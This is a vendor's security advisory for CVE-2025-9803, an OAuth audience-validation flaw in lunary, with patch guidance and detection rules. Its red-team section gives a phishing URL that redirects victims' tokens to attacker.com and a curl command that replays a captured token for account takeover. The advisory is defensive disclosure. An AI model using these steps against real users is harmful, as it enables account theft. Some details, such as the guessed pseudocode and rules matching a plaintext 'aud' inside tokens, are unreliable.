CVE-2025-9803
Executive Summary
CVE-2025-9803 is a critical vulnerability in lunary-ai/lunary version 1.9.34 that allows for complete account takeover via a flawed Google OAuth integration. The root cause is the application's failure to validate the aud (audience) claim in the Google-issued access token. This oversight permits an attacker to use an access token issued to a malicious OAuth client to authenticate as any user in the target lunary application. The vulnerability has a CVSS score of 9.3 (Critical) and is resolved in version 1.9.35.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the lunary-ai/lunary application, which is distributed as a Python package (PyPI) and a Docker image. Users of the PyPI package or Docker image are vulnerable if running version 1.9.34 or earlier. The fix is available in version 1.9.35. Organizations should verify their deployment method and update accordingly.
CVSS Breakdown & Threat Level
- CVSS Score: 9.3 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The high impact across all three security pillars (CIA) combined with the low attack complexity and no required privileges or user interaction makes this a critical vulnerability that should be prioritized for immediate patching.
Deep Dive & Mechanics
The vulnerability lies in the Google OAuth 2.0 authentication flow. When a user authenticates via Google, the application receives an access token from Google's authorization server. This token is a JSON Web Token (JWT) that contains several claims, including the aud (audience) claim. The aud claim specifies the intended recipient of the token – in this case, the OAuth 2.0 client ID of the application that requested the token.
In a secure implementation, the application must verify that the aud claim matches its own client ID. This ensures that a token issued to a different application (e.g., a malicious one) cannot be used to authenticate against the target application.
In lunary version 1.9.34, this validation is missing. The application only verifies the token's signature and expiration but does not check the aud field. An attacker can:
- Register their own malicious application with Google and obtain a valid OAuth 2.0 client ID.
- Trick a victim into authenticating with the attacker's malicious application (e.g., via a phishing link).
- Capture the access token issued by Google to the attacker's application.
- Present this token to the lunary application's authentication endpoint.
- The lunary application accepts the token because it does not verify the
audclaim, and the attacker gains access to the victim's account.
This is a classic case of confused deputy problem where the application (deputy) is tricked into using a token that was not intended for it.
Vulnerable vs. Patched Code
The vulnerable code likely looks like this (pseudocode):
# Vulnerable version (1.9.34)
def verify_google_token(token):
# Verify signature and expiration only
decoded = jwt.decode(token, verify=True, options={"verify_exp": True})
# Missing: verify that decoded['aud'] == GOOGLE_CLIENT_ID
return decoded
The patched version (1.9.35) adds the audience validation:
# Patched version (1.9.35)
def verify_google_token(token):
# Verify signature, expiration, and audience
decoded = jwt.decode(token, verify=True, options={"verify_exp": True, "verify_aud": True}, audience=GOOGLE_CLIENT_ID)
return decoded
The key difference is the addition of the audience parameter in the jwt.decode call, which enforces that the token's aud claim matches the application's client ID.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Google Cloud Platform (GCP) project with OAuth 2.0 credentials.
- A target lunary instance running version 1.9.34.
- A victim user account on the target lunary instance.
Steps:
Set up a malicious OAuth application:
- Go to the Google Cloud Console.
- Create a new OAuth 2.0 Client ID for a Web application.
- Set the authorized redirect URIs to a server you control (e.g.,
http://attacker.com/oauth2callback).
Craft a phishing link:
- Construct a URL that initiates OAuth flow with your malicious client ID:
https://accounts.google.com/o/oauth2/v2/auth? client_id=YOUR_MALICIOUS_CLIENT_ID& redirect_uri=http://attacker.com/oauth2callback& response_type=token& scope=openid%20email%20profile
- Construct a URL that initiates OAuth flow with your malicious client ID:
Trick the victim:
- Send the phishing link to the victim. When they click and authenticate, Google redirects them to your server with an access token in the URL fragment.
Capture the token:
- Your server at
http://attacker.com/oauth2callbackextracts theaccess_tokenfrom the URL fragment.
- Your server at
Use the token against lunary:
- Send a request to the lunary authentication endpoint with the captured token:
curl -X POST https://victim-lunary.com/auth/google \ -H "Content-Type: application/json" \ -d '{"access_token": "CAPTURED_TOKEN"}'
- Send a request to the lunary authentication endpoint with the captured token:
Account takeover:
- The lunary application accepts the token and returns a session cookie or JWT for the victim's account. The attacker now has full access.
Blue Team
Detection:
- Monitor for multiple failed OAuth authentication attempts from different IPs.
- Look for unusual patterns in the
audclaim of Google tokens (if you have logging). - Alert on any authentication using a Google token where the
audfield does not match your application's client ID.
Prevention:
- Immediately upgrade to lunary version 1.9.35.
- If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to the OAuth endpoint that contain suspicious tokens.
- Monitor logs for any authentication events that occur outside of normal user behavior.
Hunting:
- Search logs for authentication events where the
audclaim is not your application's client ID. - Look for authentication events that occur shortly after a user receives a phishing email.
Indicators of Compromise (IOCs)
Network:
- POST requests to
/auth/googlewith anaccess_tokenthat has anaudclaim not matching the application's client ID. - Unusual redirect URIs in OAuth flows (e.g.,
http://attacker.com/oauth2callback).
- POST requests to
Logs:
- Authentication logs showing successful logins from unexpected IP addresses.
- Logs showing the same user authenticating from multiple geographic locations in a short time.
Token:
- A Google access token where the
audfield is not the application's client ID.
- A Google access token where the
Detection Engineering
YARA Rule
rule Detect_CVE_2025_9803_OAuth_Token_Abuse {
meta:
description = "Detects Google OAuth tokens with mismatched audience claim"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9803"
strings:
$token_pattern = /"access_token"\s*:\s*"[A-Za-z0-9\-_]+?\.[A-Za-z0-9\-_]+?\.[A-Za-z0-9\-_]+?"/
$aud_claim = /"aud"\s*:\s*"[^"]+"/
condition:
$token_pattern and $aud_claim
}
Sigma Rule
title: CVE-2025-9803 - Google OAuth Token Audience Mismatch
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to use a Google OAuth token with an incorrect audience claim against lunary-ai/lunary
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: lunary
detection:
selection:
event: "oauth_authentication"
token_aud: "!= YOUR_GOOGLE_CLIENT_ID"
condition: selection
falsepositives:
- Legitimate tokens from other applications (should not happen in normal operation)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-9803 - Potential OAuth Token Reuse Attack";
flow:to_server,established;
content:"POST"; http_method;
content:"/auth/google"; http_uri;
content:"access_token";
pcre:"/\"aud\"\s*:\s*\"(?!YOUR_GOOGLE_CLIENT_ID\")[^\"]+\"/";
sid:1000001;
rev:1;
reference:cve,2025-9803;
)
Remediation & Mitigation
Immediate:
- Upgrade to lunary version 1.9.35 or later. This is the only complete fix.
Compensating Controls (if upgrade is delayed):
- Implement a reverse proxy or API gateway that validates the
audclaim of incoming Google tokens before forwarding to the lunary application. - Disable Google OAuth authentication temporarily and use alternative authentication methods.
- Monitor authentication logs for any signs of exploitation.
Long-term:
- Ensure all OAuth integrations validate the
audclaim. - Implement additional security measures such as PKCE (Proof Key for Code Exchange) to prevent token interception.
- Regularly review and update dependencies.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert